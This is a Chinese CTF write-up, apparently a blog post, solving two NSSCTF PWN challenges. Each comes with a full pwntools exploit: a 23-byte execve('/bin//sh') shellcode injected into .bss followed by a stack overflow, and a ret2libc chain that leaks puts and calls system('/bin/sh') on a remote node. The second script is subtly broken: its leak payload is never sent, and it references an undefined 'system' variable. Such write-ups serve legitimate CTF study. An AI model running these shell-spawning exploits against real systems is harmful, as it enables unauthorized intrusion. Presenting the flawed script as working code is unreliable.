NSSCTF(PWN)4

[GDOUCTF 2023]Shellcode

使用checksec发现这是64位文件

查看main函数发现这题涉及到了栈溢出

我们点开第一个read,name发现位于bss段中,就想到这里涉及到了shellcode,但是使用 shellcraft 默认生成的字节数是 44 字节,这里最大输入数才25字节,所有不能使用默认生成

这里我们就是涉及到了一个64 位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

找到了方法,我们接着找栈溢出点在哪里

第二个read的buf为栈溢出点,因为他不能直接读写,我们只能先第一个shellcode注入,然后第二个在溢出

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28981')
bss = 0x6010A0
padding = b'a'*(0xA+0x8)
io.recvuntil(b'Please.')
shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.sendline(shellcode)
io.recvuntil(b'start!')
payload = padding + p64(bss)
io.sendline(payload)
io.interactive()

[2021 鹤城杯]babyof

使用checksec发现这是一个64位文件

打开main函数,发现这里有个sub_400632双击进入

典型栈溢出

发现这题没有system和binsh,这题涉及到了ret2libc

这道题需要用到rdi和ret

exp:

from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn','28146')
elf = ELF('/home/xp/tm/bin/b')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x400632
ret = 0x400506
rdi = 0x400743
padding = b'a'*(0x40+0x8)
io.recvuntil(b'overflow?')
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
put = u64(io.recvuntil(b'\x7f', timeout=5)[ -6:].ljust(8, b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(payload1)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值